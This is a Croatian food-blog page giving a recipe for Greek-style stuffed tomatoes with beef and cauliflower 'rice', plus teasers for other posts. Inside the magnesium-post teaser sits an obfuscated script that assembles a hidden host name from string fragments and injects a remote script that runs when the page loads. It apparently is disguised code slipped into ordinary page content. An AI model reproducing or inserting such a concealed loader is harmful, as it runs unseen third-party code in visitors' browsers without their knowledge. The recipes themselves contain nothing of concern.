PUNJENE RAJČICE NA GRČKI NAČIN 🍅




Punjene rajčice na grčki način 



Punjene rajčice jedno su od onih jela koja savršeno spajaju jednostavne sastojke i skladan i bogat okus. Ova verzija inspirirana je grčkim specijalitetom Gemista, u kojem se povrće puni aromatičnim nadjevom i peče dok ne omekša i postane neodoljivo sočno.




Punjene rajčice na grčki način 


Sastojci:

  • 8 velikih rajčica
  • 45 ml maslinova ulja (podijeljeno na 30 ml i 15 ml)
  • 1 žlica balzamičnog octa
  • 2 čajne žličice talijanske ili grčke mješavine začinskog bilja
  • 1 1/2 čajne žličice soli
  • 1/2 većeg luka (oko 100 g), sitno nasjeckanog
  • 2 češnja češnjaka, sitno nasjeckana
  • 450 g mljevene junetine
  • 1/4 čajne žličice svježe mljevenog crnog papra
  • 340 g "riže" od cvjetače (svježe ili smrznute)




Priprema:

  1. Pećnicu zagrijte na 190 stupnjeva. Posudu za pečenje lagano nauljite.
  2. Rajčicama odrežite gornji dio i sačuvajte "poklopce". Žlicom pažljivo izdubite unutrašnjost pazeći da ne probušite stijenke. Meso rajčice stavite u blender.
  3. Posložite izdubljene rajčice u posudu za pečenje.
  4. U blender dodajte balzamični ocat, talijansko ili grčko začinsko bilje, 30 ml maslinova ulja i 1/2 čajne žličice soli. Izmiksajte u glatku smjesu.
  5. U velikoj tavi zagrijte preostalih 15 ml maslinova ulja.
  6. Pirjajte luk oko 10 minuta, dok ne omekša i lagano se ne karamelizira.
  7. Dodajte češnjak i pirjajte još oko minute.
  8. Umiješajte mljevenu junetinu, posolite preostalom soli, popaprite i pržite uz miješanje oko 10 minuta, dok meso ne porumeni.
  9. U meso umiješajte "rižu" od cvjetače i izmiksanu smjesu od rajčice.
  10. Kuhajte na jačoj vatri oko 10 minuta uz povremeno miješanje, dok višak tekućine ne ispari, a nadjev ne postane gust.
  11. Po potrebi dodatno začinite solju i paprom.
  12. Unutrašnjost rajčica lagano posušite papirnatim ručnikom.
  13. Svaku rajčicu napunite pripremljenim nadjevom i vratite odrezani vrh.
  14. Posudu prekrijte aluminijskom folijom i pecite 15 minuta. Zatim uklonite foliju i nastavite peći još 10 do 20 minuta, dok rajčice ne omekšaju, a rubovi se lagano ne smežuraju.
  15. Poslužite toplo, posuto svježim bosiljkom ili peršinom. Po želji dodajte izmrvljenu fetu ili žlicu tzatzikija.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

LIKER OD MLADIH ZELENIH ORAHA

Slika
Liker od mladih zelenih oraha  Ovaj je napitak sjajan način da povratite energiju i osnažite organizam, a priprema se vrlo jednostavno. Tajna njegove moći krije se u nedozrelim plodovima koji su u ovoj fazi prepuni vitamina, gorkih tvari i korisnih nutrijenata. Liker od mladih zelenih oraha  Sastojci: 12 srednje velikih, mladih zelenih oraha 1 litra kvalitetne domaće rakije (najbolje lozovače ili komovice) 700 g šećera (ili domaći med za zdraviju varijantu) Po želji za bolju aromu: 2 kriške limuna, 2 kriške naranče, 8-10 zrna kave, par klinčića ili malo vanilin šećera Priprema: Mlade orahe prvo detaljno operite i osušite. Zatim ih obavezno narežite na četvrtine ili polovice. Mali, ali važan savjet: Ovu radnju obavezno radite u rukavicama jer orasi puštaju intenzivnu tamnu boju koju je kasnije iznimno teško oprati s ruku!recipeci U veliku, prethodno opranu staklenku sa širokim grlom poslažite narezane orahe i prelijte ih šećerom. Ako se odlučite za dodatke poput lim...
Pročitajte više